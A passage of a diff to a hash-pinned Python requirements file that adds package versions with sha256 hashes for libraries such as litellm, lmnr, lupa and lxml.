--hash=sha256:af62e84ca3889604ebb645df3b0a3f3bcf6b92babbff642bd214616f57abb93a \ + --hash=sha256:b0f32e644d241293b892b1a6dd8f0b9cc029bfd94c97376b2681c36548aabab7 \ + --hash=sha256:b1ae2a7593a62132c7d4c2abbee80bbbb94fdc6d157e2c6cc966250c564ef774 \ + --hash=sha256:b42c2cd74273455ce439fd9528db0c6e84b5623cb74572305bdd9f2f2961d3df \ + --hash=sha256:b7b0178417b0dcfc5f259edbc6db2b1f5896093ed9035ee7bab0f2be8854726d \ + --hash=sha256:b8da18a99f58bca3ecc2d2bba99cac000a924e115b6c4f0a2b98f752b6fbf39a \ + --hash=sha256:bb948402821bc76d1f6ef0f9e19b816f9b09f8577844ba7140f0b6afe994bc64 \ + --hash=sha256:bf11807e802a214daf6c485037778843fadd3e2ec29377ae17e0706ec1a25758 \ + --hash=sha256:c0a7f0ec81d5b7588c5cade1eb1925b91436ae6726dc2df2348524aeabad5de6 \ + --hash=sha256:c2d13ba7567ca8799f17c76ed56b1d49be30df996eb7fa33e46b62800562a5e2 \ + --hash=sha256:c59459beca2fbc9718b6f1acb7bfb59ebc3eb4294fa4d40e9cb679dafdcc6c60 \ + --hash=sha256:c5e86126d64706fd28dfc46f910d496923c6f95b395138c02d0e252947f452bd \ + --hash=sha256:c6f3b32bb723246e6b351aecace52aba78adb8eeb4b2391630322dc30ff6c773 \ + --hash=sha256:c9967c2ab338ee2b2c0102fd379ec2693c496abf71ffd47e4d791d1f593b68e2 \ + --hash=sha256:cb5d9db02979c3f49071fce51a48f4b4e4cf574175fb2b11c7a535fa4867b222 \ + --hash=sha256:cdef53eda7d18e799625023e1e250dbc18fbc275153039b873ec74d7e8883e09 \ + --hash=sha256:cf408d2a0abd919b60de8c2e7bc5eeab72d4dafd18784152acc7c9adc3291591 \ + --hash=sha256:d067655a7cf0831eb8ec3e39cbd752995e9b69a2206df3535b3a067fac23b032 \ + --hash=sha256:d50880a6da65d8c23a2cf53c412847d9757e74cc9a3b95c5704a1d1a24667347 \ + --hash=sha256:dbb57da40631c267861dd0090461222060960012d70fd6e4c799b0f62d0ba166 \ + --hash=sha256:dbe2196c4a0ce760925a74ab4456bf644748ab0979762139626ad138f6dac72d \ + --hash=sha256:dd4ca85fb6a62cf72e1c7f5e34ddef1b660ce4ed0886ec94a1ef9777d35eaa1f \ + --hash=sha256:df64edcfc5dd5279a791eea52aa113d432c933119a025b0b5739f90d2e4e75f1 \ + --hash=sha256:df7f1927cbdf34cb91262a5418ca06920fd42f1cf733936d863aeb29b45a14ef \ + --hash=sha256:e35d66681c133a03d7e974e7eedae89720fe8ca3bd09f01a4909b86a8adf31f5 \ + --hash=sha256:e4ffd3b0fff3fabbb02cc09910c08144db6bb5697a98d227a074401e01ee63dd \ + --hash=sha256:e71ae6d969d0c9bab336c5e9e2fabad31e74d823f19e3604eaf96d9a97f463df \ + --hash=sha256:e7d0bed3b187af8b47a981d9742ddfc1d9b252a7235471ad6078e7e4e5fe75c2 \ + --hash=sha256:e84e58198d4894668eec2da660ffff60e0f3e60afa790ecc50cb12b0e02ca1d4 \ + --hash=sha256:f0062dab98172dd0599fcdbf90214d0dcde070b1ff38a00cc1b90e111f071982 \ + --hash=sha256:f05d03775a11aaf132c447436983169958439f1219069abf24662a672851f94e \ + --hash=sha256:f637b8e818f6d75540f350a6011ce21252573c0998ea1b4365ee54b7672c23c5 \ + --hash=sha256:f6fe0283e903ebc55f1a6cc569b8c1f3bf4abd026fed85e3ff8598a9e6f982f0 \ + --hash=sha256:fb4790497369d134a07fc763cc88888c46f734abdd66f9fdf7865038bf3a8f40 \ + --hash=sha256:ff85fc6d2a431251ad82dbd1ea953affb5a60376b62e7d6809c5cd058bb39471 +joserfc==1.7.5 \ + --hash=sha256:add2c2c84e8373b084d526a8b53daba5d7a513a118cd2dcd9fc9f979d0922159 \ + --hash=sha256:d5ff536e658e17664f8c1b1ab60dc4aa62aa973fcef1edd33cc44bda45d6f5ea +json-repair==0.60.1 \ + --hash=sha256:841661cdd2df507c9a4e189097f38ca6bc372e06d4b4e36d72e590f68176c290 \ + --hash=sha256:ba6ff974f2a8bef2f7768144a7f03f870a816443f03da27a49cdd0ec31a78049 +jsonref==1.1.0 \ + --hash=sha256:32fe8e1d85af0fdefbebce950af85590b22b60f9e95443176adbde4e1ecea552 \ + --hash=sha256:590dc7773df6c21cbf948b5dac07a72a251db28b0238ceecce0a2abfa8ec30a9 +jsonschema==4.23.0 \ + --hash=sha256:d71497fef26351a33265337fa77ffeb82423f3ea21283cd9467bb03999266bc4 \ + --hash=sha256:fbadb6f8b144a8f8cf9f0b89ba94501d143e50411a1278633f56a7acf7fd5566 +jsonschema-path==0.3.4 \ + --hash=sha256:8365356039f16cc65fddffafda5f58766e34bebab7d6d105616ab52bc4297001 \ + --hash=sha256:f502191fdc2b22050f9a81c9237be9d27145b9001c55842bece5e94e382e52f8 +jsonschema-specifications==2025.9.1 \ + --hash=sha256:98802fee3a11ee76ecaca44429fda8a41bff98b00a0f2838151b113f210cc6fe \ + --hash=sha256:b540987f239e745613c7a9176f3edb72b832a4ac465cf02712288397832b5e8d +keyring==25.7.0 \ + --hash=sha256:be4a0b195f149690c166e850609a477c532ddbfbaed96a404d4e43f8d5e2689f \ + --hash=sha256:fe01bd85eb3f8fb3dd0405defdeac9a5b4f6f0439edbb3149577f244a2e8245b +libtmux==0.53.0 \ + --hash=sha256:024b7ae6a12aae55358e8feb914c8632b3ab9bd61c0987c53559643c6a58ee4f \ + --hash=sha256:1d19af4cea0c19543954d7e7317c7025c0739b029cccbe3b843212fae238f1bd +litellm==1.93.0 \ + --hash=sha256:0784172435de48f66ef7ad89d421604db1ad0db1321ef7f39dbcfe6b20111417 \ + --hash=sha256:140bf215e264c71601bca9c06d2436c5451bb59e1e195ea23fc2d3d87b6929ec \ + --hash=sha256:1a476ebc340c070c982eab15b4673fa63a70f5936935f9f20e4d2acb5f35d23b \ + --hash=sha256:23b8eea4fb8b3b6ade05e7b6085ec9ca12daffcfb38d033d0bbce9c1d5894da5 \ + --hash=sha256:3daf5c5aceb07f5d68871071e0ecdc678caccebadca9143cc00bb76f5a8c54e8 \ + --hash=sha256:460001b7c88c5b6675ad482ae3cecba96e21f890604b4febb1a67807ace1c750 \ + --hash=sha256:5d84aead083d3d0619b2d293f8006ebbe75611bbdcef470d659c9e2d131d4454 \ + --hash=sha256:6b49f653e6205cbc725257da8797277f77065c69865fb3489bc5ed0896b66ee0 \ + --hash=sha256:952029d422c2cec8117b444d66d6de87ac970ecf0b2e1383b02788ef90ba3603 \ + --hash=sha256:98c15e84d32e922a821c105308bf9ddae8700de9ed396530bee2cbb1cacf4cbb \ + --hash=sha256:cd70ccd4ba3ef1a395535c287bce72d30c7d937ecca4290c0db37a00738f7ada +lmnr==0.7.60 \ + --hash=sha256:35076b302a8f4349824deb08f79d1c7e4c2486b5a14704c0e6efee9879942096 \ + --hash=sha256:efec73de28eb8b66bcda6aaab7db0bda8247a26f982e63295a754412bee607f0 +lmnr-claude-code-proxy==0.1.23 \ + --hash=sha256:0147eecb2704a39eceaf01a23768be1de49c3f2f909d5ad5e5ad5a1c8a4b8d94 \ + --hash=sha256:0c5274ed1c40f5a2d2b7a6bfe6dc6f6d11d59df068b6054630df022d841d2624 \ + --hash=sha256:0ca8b8badb3bf137fc58cf3e98542869d983691b91d431508c1f92d8c7b1267c \ + --hash=sha256:0ec17fcfb579d36086016897fbdf9e0a1a85cf0f53ac7520cc783b1b25ded4a2 \ + --hash=sha256:0fd8e1bfeef82802c8a74533a6d27e7c7912c7db68358ca67976f1635311503f \ + --hash=sha256:11411e4d46b243cef6f5600c72b6fdb0c2f1fd071a6089675f59e74daeb6aa61 \ + --hash=sha256:1304486204ddc39a3f5639153df6ae4ee53152ea83063b0ce3331360f05ee026 \ + --hash=sha256:145c2e2c86c9257170669d85c243cb954a501f4a52206475094ab39d2805cd75 \ + --hash=sha256:14ff23a1fe48b548fe2ff7e8da8237938be23058de31163b59b0ce264f2e2ab7 \ + --hash=sha256:15e67cac22abca8931f2f8dda9fdfee61368b765d35fb57d61944a664e801ed3 \ + --hash=sha256:1784002f3872b08ff8b54599b66bf03c4e7590628d0448cf05fbd62ccbcf9f74 \ + --hash=sha256:18147e58da5c3cd2901adfbbdf0851c5aef4a0feb0fed66732f4f0ef64549531 \ + --hash=sha256:1b04bca678761d37e60508494b8c04c3368bf23bd6569a4d215e93ca5daac89a \ + --hash=sha256:207f6d423467909a130308d2c33eba05b25232e6934c9c23b928b24037d51f3b \ + --hash=sha256:21fdef811f3f06fc507ffd795bca64a21b525faa7f3f6e2f33856910d0f96192 \ + --hash=sha256:26b71b4f076de9ce0e6aa32e62ca6c7b88e486b0c857a90e2a97371acaaee651 \ + --hash=sha256:29e19c7fb7d14e6df820a6c2e4a8ee62f13974fc23d966086a75f1d3d90bc68a \ + --hash=sha256:2d6c4bf49bd060146577022d2f45a9921ce5604289d7f52db357fd3d5aeac838 \ + --hash=sha256:362a7f216c6deaed257966d0ea1e65a00a8eff744b9b3e928076a74671caf5e4 \ + --hash=sha256:3e2f8574de9a42d00aff458e26209f822e2cbba0f2fdb2419129f43e913cf50f \ + --hash=sha256:3e9b4491021a0438da3b4fc7889a6c0ab9311cef8dd5e08a55fb76cf7a788a16 \ + --hash=sha256:4083bb4e785a65efe555a17a5084717f00c9090a43c525e9de81413238081d94 \ + --hash=sha256:44b270a4c40daf3b11a5d96694357c4ff99842e82c514281b2910eae4a5d653a \ + --hash=sha256:453b68f8797fc80d51ec3c361b978d8f0b76b69351e7e1c1edb83e849baa5e78 \ + --hash=sha256:48479d6205854919139c748cac2407a39061eca363ce00a2664e05623933cada \ + --hash=sha256:4a42afb4bc589f0d1d6947b88d8a33e3c44029620212d143320875a3d997331a \ + --hash=sha256:4fdc8e561222dda30eb68026f8d149e3b908b79a4c8bd1042d28b1b22b1eeafc \ + --hash=sha256:50a9659f4e06cdf783740cef04811e09017e091993da2d26aafef6e0cc1526a9 \ + --hash=sha256:53c6d47ad2bea70dda75a642a3d8fa7b4fbb68c718958d37a5f994ff6f98d210 \ + --hash=sha256:5853e6fa123af8611c53b3fcac86231a6944d0861fe7808cdc2281c8168d66bd \ + --hash=sha256:59ff635d101028a7ffa8c067e78e512d8bd5d7d3700fefdda505852572963fb6 \ + --hash=sha256:5b59f21e7baa11212e61a300736fca7c2a724950811f1301e605c7d08c886fd5 \ + --hash=sha256:5bb8df798ad59b5ba096a7ce1c9a1a08fab5fcb9a6701b3e304bac6a060f109c \ + --hash=sha256:5e67485c946f716e6f4c7522c67ecb0a7925f3ed15a0d40bafd4632409c1acc6 \ + --hash=sha256:5f90acf340a618cfa445bcff29b0c942f231368fcaaca590755ca47960437373 \ + --hash=sha256:6230105ae1c3d949468322b578a46e6988db6568b8c2aec16d1d7f8e0e1f53de \ + --hash=sha256:6704d8e779950f643c901d1c298428ed06eb331f6e86dd95758fd89ebb17f9cb \ + --hash=sha256:68fdb6a26d30977b5d4e7ce4a117b2a427a16b1cc0d075f4cecd1839da12975a \ + --hash=sha256:6bfb54627cf1a400e18e4c51a7bcb312da1bac701ef56059c82f094d5edf75c7 \ + --hash=sha256:6d0d891c9788976bf632ffa16071db309eaaf0bf86640d0f7e44b6dcd1862859 \ + --hash=sha256:6d7fe54463ff075d557dc1941d7d271bc79e2663e2a90ab1ff45594804b6958c \ + --hash=sha256:6d8fa044c2f5774a6b70de9025a91c13c74361d4349ae528b4b4fcca48219a13 \ + --hash=sha256:70a55b0444d72683dcb0e8aa916396adc1ee6bf8a570201838014bca68ad0f47 \ + --hash=sha256:7164c71707717a6e242ef5fe0ddeb33095a69e8566a80bb979f4d81037e4dcf2 \ + --hash=sha256:7192a72122633ce7d92e2ae4d3df53854c2aa3dddccf4f8c5155d0dfe3e574ab \ + --hash=sha256:724ac0371eef99c034762521e580a986fc2b012ffc8c650dd8d66f1765d9a102 \ + --hash=sha256:73ee1db2ca4dc65fa6e508e2bd2ed3f5b587556947f06c3959c31dae9fdfedef \ + --hash=sha256:757d76c5b9e0ec6a27709b6f05d92c00337e9b0073bccea55423a3b60bf70863 \ + --hash=sha256:791e9ce9e2b0e47198d0cab2231a7d041d212154411e3d8a9ee102142d3ec0a4 \ + --hash=sha256:7b883a547e444a095f93eebbc42ed0d27e84346d986251097b7cb62fc2a0a492 \ + --hash=sha256:7c372c3678aa21d422644bef5955a68b4b53cafb40a0c0804b09eab418443fb8 \ + --hash=sha256:8646625c70cd2730799e6d3266cf42af86c47101e7eae7254e2c6b482c4db05f \ + --hash=sha256:86e6ddde60929cb93ef147e67e49bc7c8b9c0c1211e2c7ea733f8fb199d57f01 \ + --hash=sha256:879bfcbdbb49b63e59a96bc74f9d965ad9124bb187872dbd62b55f8b66944de1 \ + --hash=sha256:88c39ab3a86fcafcad48297bda0f91bd1b2d0e4d9dbf4ac2a94e7ecace3f6165 \ + --hash=sha256:8b43a95fdf053fc4ebc0723363d9f88aa5060078733f9df6b3e991235c473a96 \ + --hash=sha256:8f6bbe713911d12488eb45caf9975f69a1a4fa4bc6cc03d397efd9f80e4f9d90 \ + --hash=sha256:920823de554bfca598b54e98b504e6b289ce1823bd5bae24a930609b0d985b57 \ + --hash=sha256:92233f1c19971678225ac884d26b77cbbe9e90ec0a154752f8feee9ffa3f21c2 \ + --hash=sha256:94b03990cce9b39617bde8d11f31fd729cee358e340fc7b209e0edc23120a870 \ + --hash=sha256:962aafb103e435461a66c3ca0a77bfddb7d2bde5abe56922f418076472eb27cc \ + --hash=sha256:97bd9997af125df8f2a0fb72ac135c0c0fe89ae67f497ac5da51b45ac142f5a4 \ + --hash=sha256:9be0acab96f30922acc9f548f5a21395110f0f9303799140915e1e8ac719e867 \ + --hash=sha256:9cccd9219743a8539ab9711fe01e84eb91d95388b19a3bfaa0d215cc946d7bf2 \ + --hash=sha256:9d45b36dca5031e131c2caa96ece02add03f590749acc8c15a9e43a3c9a072e1 \ + --hash=sha256:9e7a58160b8c327e9fddbba828c86bb1084967519a160ae4f64d0ae01d65730b \ + --hash=sha256:a3769f25f3341ae04885f3b8668fd48214b8eb9b72faa97b9d7dbc9095c8a40d \ + --hash=sha256:a3a3ec1b6b015d8fb6fb373cedb55bfc90c1187333456eb9e6a4a8124b23ee1d \ + --hash=sha256:a44d51db3002164ea5795721e3d8d8927f7981a89ffe1ae9359b6b69ebe02836 \ + --hash=sha256:a5ace97624a755d5c79fcbf9d0ab6564ac17a9d1dc361747fcfa299a3a004249 \ + --hash=sha256:a77258d487989bf23ec6807e21cd2c334e9e457e9f854875a0c253cb04260387 \ + --hash=sha256:a7884c8fbbd54541cd23360ae9dc75102cee137e62fb98b4971c1d31fab4a162 \ + --hash=sha256:a99809eea013706b24b260a2f095551d2b82ddd6e0655e0b0ff2a5d468fdfbea \ + --hash=sha256:b4288560b0076ba68d6103065043d5258594eed4d1fe59631a74e20c6cddf9c2 \ + --hash=sha256:b5c64fcdd623ceec9f41cf0cd6761409a1c0add4e85409de294faf0647f5eb86 \ + --hash=sha256:b6799f27a3aa11c6061e90706d5effb0c7565269bb5e7d1629f4af25ad882e41 \ + --hash=sha256:bcd83941a84b89fc2f5dac40b10b7736a5602766f33afcd554545b0bf770fdc2 \ + --hash=sha256:c0befe2c6e747d20bec7620c0f54dcc8bf85f27e73d2682e51e8b448b10a1b6e \ + --hash=sha256:c4557d0395e198f57b26909b59e2f1084c0813c4342b683bee50819d255e8d6c \ + --hash=sha256:c537cd4c5a393596d96ffbc6da5433503fa8c52d11dd290667273a264c13f6f4 \ + --hash=sha256:cbc5d4357a9a0ee1247c0141a7775d0ef6f55a2ac6ea4209853d26769c0eca58 \ + --hash=sha256:cff0ef6dbe34324bada6d538a8dd71bae07184715f6e9ba8408ab85bf251b1ab \ + --hash=sha256:cffbd2436215675119b94de508d20a87c49e0bcf9de7b2dba1974f1af35f0bfc \ + --hash=sha256:d2b41beaf87b99e12943dfd4c28343b9fbf7771582ac68bb8dbb847eeb7b7446 \ + --hash=sha256:d575823c9002c55e67a4e8277ff0477739f84b419e3356a974a3dbedbda90b63 \ + --hash=sha256:d7ac385abe119b21aaf8ab1c1aee7f9dcdd8a03a3a00aad331f3326b6aac075c \ + --hash=sha256:dbb5e3b6e65f4e53b5c1c258cddbb54c4c5926716ff5801a53b503e270151665 \ + --hash=sha256:e140b8e9c0b56e63ef86e8ccda0faf6fa9e171c3d0efa11467afd35853770daf \ + --hash=sha256:e178ed18ce74c41d222d8fd5194b9b049e40c7e368224216282aca8bdc6f5f67 \ + --hash=sha256:e5bf63f3f99f011200a6efcc3312a8a2c72cf4a7457580056654df71ef4cd87b \ + --hash=sha256:e747afab3475d07f0c8941e7d1bbb27d2e88284afef03b7824fc40175adb047c \ + --hash=sha256:e7771d5cb7adae21c46510a38c3ce6802889b98fd04a6cbaddb0acf86d3738a9 \ + --hash=sha256:e8d0b04308093ee6d56579fe09f0f9c49fea4ad4fc7e9c04c9288c42f4dc5044 \ + --hash=sha256:e8ef14e4b592cfd27d057b47a25e9f62e6d900a95ed244c4acb3316b76f6034f \ + --hash=sha256:e9d9d94f552a1ae8e7f871b8af2440653b614ba818054c60080d457a6fefd07a \ + --hash=sha256:eda2f8a19f3cabfba8def0c62c6322eac6d413afde91349f9c046958f96393c5 \ + --hash=sha256:f05a1978c707ba5df0be531dd2cac0da8117c86c6172d84cb4f5180c8123fc49 \ + --hash=sha256:f06ff39da6c5bdedd7daadd4b33337aacc33b51ed57aa6a6a4f035de243ab59e \ + --hash=sha256:f75cb7fb4ea27e96383b951317db4ea39d5be851333e89d950f062bd500a2c04 \ + --hash=sha256:f7b2129981a74e79aaaea16390315ac09ea625d137efefec4ed790019eaaad6d \ + --hash=sha256:f82487d932680337e3335573a8d582cfd02cee5bc95a4e28cb4befa38b658a27 \ + --hash=sha256:f8d636068b2b141f210dcadf433f86dc69f810245771f95f647c1a57d2a37dd9 +lupa==2.8 \ + --hash=sha256:097e7d0f1719a88020b67c82e05d53d7973c166952393afcecfd8434c7e19a15 \ + --hash=sha256:0b5ebe1a13c45767919c86750b84fe2da9f6288b6f3cea4ce7660bb2abc9d921 \ + --hash=sha256:1628371c6592a6d5650497a9e31fb2bb3a7e9883c1f301d1111265e484045af9 \ + --hash=sha256:1ac2b1ec7504e6148cba1bc35ac36c74d18a0ca6d367ffe7e78a3773c2694c0e \ + --hash=sha256:24b4d8af5558e549b70daf1547f5c1c1d664ecea9fc790f83efe5d75e9a93797 \ + --hash=sha256:250e035fdaffe8c87093e3ebc206ac29a26131b1568ea711d780c26001ce96e7 \ + --hash=sha256:27044f3363047f946b3d3aab9157cbd172b3538ada9ec1baef43432bf7d03a78 \ + --hash=sha256:281bedc5deb92d31e649a3552edd662449365a635904fa4d5cb4509c7245e34e \ + --hash=sha256:2e64acbbd47e9b82a64405a39e0d2b36a5a7dad8ab41c0f3437f572f7d282ba3 \ + --hash=sha256:32e4e5103bbddcdd2458fb2ccae6c8ba11c9997c711d7e379e0d45551d109c76 \ + --hash=sha256:33e7e5aebca64b154b0a1679caf79e19254ff37bba51e87abab6848f97cb2de1 \ + --hash=sha256:348c3f8ecabb6324dcbc05c2740d762ef8fcec7b06c79e45262ab97a217684e3 \ + --hash=sha256:360056453a7a4eaa4ac5a204c31a5a014b1eb2ee5490603234d2ba831684f1f2 \ + --hash=sha256:3903c9cf628dae2f56405503247b77a61a3a61bd2dda470e336950c74776d55d \ + --hash=sha256:3ffcfd8e19f943ad459136b3f60f085ae4948f024192a93ca4b4ac3023ec88d8 \ + --hash=sha256:4203fa1659315e939a5304e75001b8cc14234fb3cbb3ed86c049b0cc5d90fcee \ + --hash=sha256:450650f91c48c2415b0d59ab3abfcfda3b6efb5b858205f4d4bda8ad141fa529 \ + --hash=sha256:45fc9da0145ecb0083ef5ff9975116cc784bd0258bdc2bd131ba15483ce18398 \ + --hash=sha256:4f7c553c1d8cfffbe85d81daef730d12cae4b6002d457542914da0ac8a1145b3 \ + --hash=sha256:4f81a02806e7c7ad26d8c6fa222c8bef1b0c1b124347c879be880b41339d41e4 \ + --hash=sha256:4fe5d7a810b64ea8511eb885fc8cdde042ee5ff7b7d08ae78f32449756acb177 \ + --hash=sha256:54cff414f21f8cd8c6be4aae52541f3b9cd39602b59e3a3db9b5c9f9f674ff18 \ + --hash=sha256:58e18afed57955b41130e269c78f53d4123ab86e236b53816f4cbffa25cb5d30 \ + --hash=sha256:5caf45d15d424cee52fd67341e96e2b1dde0658ae90eb156ac56aa0d8330bc38 \ + --hash=sha256:6c817d5421094507662e5f8feb8cd1e154c10879921c06079b6063be9d8f33c5 \ + --hash=sha256:6fbcc9911f05c67affbd225fc024268e61e98a18ad1b1c2aed6c8796e4056554 \ + --hash=sha256:7667001804657496dee9feced2daae5000b4604a3218dd8e6b7b754982ba88b8 \ + --hash=sha256:7bb223ee8f72d0dc076b0d65296ee72f1c69450f9d2fed5315f7707d98c4a03d \ + --hash=sha256:7f210d5a8353e510ea1199c42cf3cbdd630553bf2bc8fb4c00fea06fdec7c798 \ + --hash=sha256:81b283bfb13cc43fa4910fc98ec110ab861bcb39680f48b266f99d6e3be1049e \ + --hash=sha256:81f2d843ce668b653146c007467570210ae44be51dac6926666c51d49536f307 \ + --hash=sha256:86f6f668966965b15247dc32d064cfe7be67b71e584ccfacbe2f637575296878 \ + --hash=sha256:891f72e0bffbed1e4175f975aeb2a083956586a100066525e1be485f617f7b25 \ + --hash=sha256:8cf4f064a0e5531afce2d7d750120c10c10f9529139af6ca6150d13151034398 \ + --hash=sha256:91d622777febda3ab1bed1d45295f2f32a4680c7b3d7caf8c669998ed5c44118 \ + --hash=sha256:951496471056061598a7d1729a6cdf48d662fec777a9f2d8aa5a1e62fd30e5a5 \ + --hash=sha256:97bd01e90b8031e56a5fd5bb70605aea09f1dba675c1140308a52780f93d06f1 \ + --hash=sha256:9e0d11b8f3a8dac6413f704fef7161d048bb10c58bdac6cbffa5e60efa56e9a3 \ + --hash=sha256:9e304fb1c50cf23fd8882afbe1aa87525ef8a72667bcab3b37b2bbb2bc542269 \ + --hash=sha256:9e76e45057cfcaa20ee3422c2289a91f9d51783d020da3570ee226de8f6e71cd \ + --hash=sha256:9f3f3955f65f9fde2dc6eda3041ccd394cf54d4bf083f0cdf6feb3d58e5f38d3 \ + --hash=sha256:9f6f41c91366e7d0d474f87d81c1274af861f40812bf729c9f97ab4c8f3c7ac8 \ + --hash=sha256:a295f87b5b7ebbfd5191932e8cb0e51df3c7769101ac6b6c7d7c9fb27bfd1307 \ + --hash=sha256:a591b9947ca347b41a63370e121d6e2b1458fe6dde9ae065029ec10a37f25ff4 \ + --hash=sha256:ac6b6e8d0e617e26a98cbb44880bcd75de5d32b3ad7b3b3793583909292b47ed \ + --hash=sha256:b036738282a5acd2e71fdddb317c9df8b87c1673aa57f403d05fcc2be8abc4ba \ + --hash=sha256:b12e43c1fb787189dfc28cd604aef0baa2cb95e27da19498d520361d0ace070a \ + --hash=sha256:b9bddb09acfffb4f828f790f444b11dc0cca591afea1a244d9329eea2d20c003 \ + --hash=sha256:ba3a7dd839f90c3d2e53bebe3c192b1f3f9fd720a6781256405123211fd0dce6 \ + --hash=sha256:bfc470012ef66ad064c7bd77416af03a3452ef630b04b9012595ea13f2e54518 \ + --hash=sha256:c2a5fd15dc62374e1661a55f01744c9ec1c56f291ba4a0749d3af2174556e78f \ + --hash=sha256:ce86dff1ee7f7cf45f5622065ae991949dd7bb1703581cbc58a630137bb7ccf9 \ + --hash=sha256:ce9404c661dbac65cc9bed351ad45e797af93d30d70be309a3fa8209ac86d93b \ + --hash=sha256:d3d0cde2c77588d1c60875a4f34f059513476c6e1775351897195b51e0f3df08 \ + --hash=sha256:d7edb13a7a5250b5c6c22d1495d9e842b5c9fc5081c8fe6b5efe2112fe3e41f9 \ + --hash=sha256:d8022641b9ec8ecf2c5ecbe9f47e5a70e0b87c4b5ae921b92cb02a638e0acd08 \ + --hash=sha256:d8766aff03a78c80ad2d188a8bdb216de5ec838359cd87e05bbdfa56394a6105 \ + --hash=sha256:dc51250e76367a3e27fcd01dc769b9bfcbbc34f48df48dde53d6af6e75b7eaa5 \ + --hash=sha256:e8d4f4dd4acf4a0e42adc6b1ad220e1c86fe3028402c2f78bd0728a6d241bbe9 \ + --hash=sha256:f4342f4de76ae7ce2ab0672d36003bdb7e1a33252f293b569298ddd792e70e33 \ + --hash=sha256:f4d01b2a08c70bbb883a9e082b6b36b89121ed5910b710f1ba11c73295ff4fba \ + --hash=sha256:f5a6af145b0ea818f01d27bfe2583a4b538570bef61d22c8773e0eccf011234c \ + --hash=sha256:f6ddca4774d5ca451768a95e378a3aa041076e29f4613b8562f8e98efb6690fd \ + --hash=sha256:f6f603391dffb256e36a79fd2044084d5f4b8a0a4c0e5ad291cd3ab3aaf1fd0a \ + --hash=sha256:f711a8ab0486b9ac6fdda94a22ddcfbc9f0d4a27e3a8cf1bf79c6e48b33017c1 \ + --hash=sha256:f8a22088a552828958603323f0a5c4b3e11e03b75d0bf4c965ef879de9b60a8d \ + --hash=sha256:fc47f536ac13a79cef47d29a2b205576a22841f042a2bcec1676b95806e7706a +lxml==6.1.0 \ + --hash=sha256:00750d63ef0031a05331b9223463b1c7c02b9004cef2346a5b2877f0f9494dd2 \ + --hash=sha256:022981127642fe19866d2907d76241bb07ed21749601f727d5d5dd1ce5d1b773 \ + --hash=sha256:045e387d1f4f42a418380930fa3f45c73c9b392faf67e495e58902e68e8f44a7 \ + --hash=sha256:05b9b8787e35bec69e68daf4952b2e6dfcfb0db7ecf1a06f8cdfbbac4eb71aad \ + --hash=sha256:07f98f5496f96bf724b1e3c933c107f0cbf2745db18c03d2e13a291c3afd2635 \ + --hash=sha256:08950a23f296b3f83521577274e3d3b0f3d739bf2e68d01a752e4288bc50d286 \ + --hash=sha256:0d082495c5fcf426e425a6e28daaba1fcb6d8f854a4ff01effb1f1f381203eb9 \ + --hash=sha256:0f0f08beb0182e3e9a86fae124b3c47a7b41b7b69b225e1377db983802404e54 \ + --hash=sha256:1081dd10bc6fa437db2500e13993abf7cc30716d0a2f40e65abb935f02ec559c \ + --hash=sha256:11a873c77a181b4fef9c2e357d08ed399542c2af1390101da66720a19c7c9618 \ + --hash=sha256:183bfb45a493081943be7ea2b5adfc2b611e1cf377cefa8b8a8be404f45ef9a7 \ + --hash=sha256:19f4164243fc206d12ed3d866e80e74f5bc3627966520da1a5f97e42c32a3f39 \ + --hash=sha256:1ae225f66e5938f4fa29d37e009a3bb3b13032ac57eb4eb42afa44f6e4054e69 \ + --hash=sha256:1bc4cc83fb7f66ffb16f74d6dd0162e144333fc36ebcce32246f80c8735b2551 \ + --hash=sha256:1dd6a1c3ad4cb674f44525d9957f3e9c209bb6dd9213245195167a281fcc2bdc \ + --hash=sha256:20cf4d0651987c906a2f5cba4e3a8d6ba4bfdf973cfe2a96c0d6053888ea2ecd \ + --hash=sha256:2173a7bffe97667bbf0767f8a99e587740a8c56fdf3befac4b09cb29a80276fd \ + --hash=sha256:21c3302068f50d1e8728c67c87ba92aa87043abee517aa2576cca1855326b405 \ + --hash=sha256:23a5dc68e08ed13331d61815c08f260f46b4a60fdd1640bbeb82cf89a9d90289 \ + --hash=sha256:23cad0cc86046d4222f7f418910e46b89971c5a45d3c8abfad0f64b7b05e4a9b \ + --hash=sha256:2593a0a6621545b9095b71ad74ed4226eba438a7d9fc3712a99bdb15508cf93a \ + --hash=sha256:264c605ab9c0e4aa1a679636f4582c4d3313700009fac3ec9c3412ed0d8f3e1d \ + --hash=sha256:26c5272c6a4bf4cf32d3f5a7890c942b0e04438691157d341616d02cca74d4bd \ + --hash=sha256:26dd9f57ee3bd41e7d35b4c98a2ffd89ed11591649f421f0ec19f67d50ec67ac \ + --hash=sha256:28902146ffbe5222df411c5d19e5352490122e14447e98cd118907ee3fd6ee62 \ + --hash=sha256:29f5c00cb7d752bce2c70ebd2d31b0a42f9499ffdd3ecb2f31a5b73ee43031ad \ + --hash=sha256:30e7b2ed63b6c8e97cca8af048589a788ab5c9c905f36d9cf1c2bb549f450d2f \ + --hash=sha256:32662519149fd7a9db354175aa5e417d83485a8039b8aaa62f873ceee7ea4cad \ + --hash=sha256:363e47283bde87051b821826e71dde47f107e08614e1aa312ba0c5711e77738c \ + --hash=sha256:3648f20d25102a22b6061c688beb3a805099ea4beb0a01ce62975d926944d292 \ + --hash=sha256:37448bf9c7d7adfc5254763901e2bbd6bb876228dfc1fc7f66e58c06368a7544 \ + --hash=sha256:37fabd1452852636cf38ecdcc9dd5ca4bba7a35d6c53fa09725deeb894a87491 \ + --hash=sha256:398443df51c538bd578529aa7e5f7afc6c292644174b47961f3bf87fe5741120 \ + --hash=sha256:3ae5d8d5427f3cc317e7950f2da7ad276df0cfa37b8de2f5658959e618ea8512 \ + --hash=sha256:3f00972f84450204cd5d93a5395965e348956aaceaadec693a22ec743f8ae3eb \ + --hash=sha256:40d9189f80075f2e1f88db21ef815a2b17b28adf8e50aaf5c789bfe737027f32 \ + --hash=sha256:419c58fc92cc3a2c3fa5f78c63dbf5da70c1fa9c1b25f25727ecee89a96c7de2 \ + --hash=sha256:41dcc4c7b10484257cbd6c37b83ddb26df2b0e5aff5ac00d095689015af868ec \ + --hash=sha256:43e4d297f11080ec9d64a4b1ad7ac02b4484c9f0e2179d9c4ef78e886e747b88 \ + --hash=sha256:45e9dfbd1b661eb64ba0d4dbe762bd210c42d86dd1e5bd2bdf89d634231beb43 \ + --hash=sha256:4642e04449a1e164b5ff71ffd901ddb772dfabf5c9adf1b7be5dffe1212bc037 \ + --hash=sha256:468479e52ecf3ec23799c863336d02c05fc2f7ffd1a1424eeeb9a28d4eb69d13 \ + 